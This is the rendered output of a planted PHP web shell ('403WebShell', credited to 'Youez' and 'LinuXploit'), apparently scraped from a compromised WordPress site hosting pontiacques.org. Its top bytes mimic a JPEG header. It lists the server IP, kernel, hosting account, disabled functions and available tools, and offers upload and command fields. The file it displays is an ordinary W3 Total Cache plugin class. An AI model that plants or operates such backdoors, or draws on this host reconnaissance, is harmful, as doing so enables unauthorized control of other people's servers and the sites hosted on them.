????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/Cdn_Page.php
<?php
/**
 * File: Cdn_Page.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class: Cdn_Page
 */
class Cdn_Page extends Base_Page_Settings {
	/**
	 * Current page.
	 *
	 * @var string
	 */
	protected $_page = 'w3tc_cdn';

	/**
	 * CDN tab
	 *
	 * @return void
	 */
	public function view() {
		$config               = Dispatcher::config();
		$cdn_engine           = $config->get_string( 'cdn.engine' );
		$cdn_enabled          = $config->get_boolean( 'cdn.enabled' );
		$cdnfsd_engine        = $config->get_string( 'cdnfsd.engine' );
		$cdnfsd_enabled       = $config->get_boolean( 'cdnfsd.enabled' );
		$cdn_mirror           = Cdn_Util::is_engine_mirror( $cdn_engine );
		$cdn_mirror_purge_all = Cdn_Util::can_purge_all( $cdn_engine );
		$cdn_common           = Dispatcher::component( 'Cdn_Core' );
		$cdn                  = $cdn_common->get_cdn();
		$cdn_supports_header  = $cdn->headers_support() == W3TC_CDN_HEADER_MIRRORING;
		$minify_enabled       = (
			$config->get_boolean( 'minify.enabled' ) &&
			Util_Rule::can_check_rules() &&
			$config->get_boolean( 'minify.rewrite' ) &&
			( ! $config->get_boolean( 'minify.auto' ) || Cdn_Util::is_engine_mirror( $config->get_string( 'cdn.engine' ) ) )
		);
		$cookie_domain        = $this->get_cookie_domain();
		$set_cookie_domain    = $this->is_cookie_domain_enabled();

		// Required for Update Media Query String button.
		$browsercache_enabled         = $config->get_boolean( 'browsercache.enabled' );
		$browsercache_update_media_qs = ( $config->get_boolean( 'browsercache.cssjs.replace' ) || $config->get_boolean( 'browsercache.other.replace' ) );

		// Get CDN and CDN FSD status.
		$cdn_core             = new Cdn_Core();
		$is_cdn_authorized    = $cdn_core->is_cdn_authorized();
		$is_cdnfsd_authorized = $cdn_core->is_cdnfsd_authorized();

		include W3TC_INC_DIR . '/options/cdn.php';
	}

	/**
	 * Returns cookie domain.
	 *
	 * @return string
	 */
	public function get_cookie_domain() {
		$site_url  = get_option( 'siteurl' );
		$parse_url = @parse_url( $site_url );

		if ( $parse_url && ! empty( $parse_url['host'] ) ) {
			return $parse_url['host'];
		}

		return isset( $_SERVER['HTTP_HOST'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) : '';
	}

	/**
	 * Checks if COOKIE_DOMAIN is enabled.
	 *
	 * @return bool
	 */
	public function is_cookie_domain_enabled() {
		$cookie_domain = $this->get_cookie_domain();

		return defined( 'COOKIE_DOMAIN' ) && COOKIE_DOMAIN == $cookie_domain;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit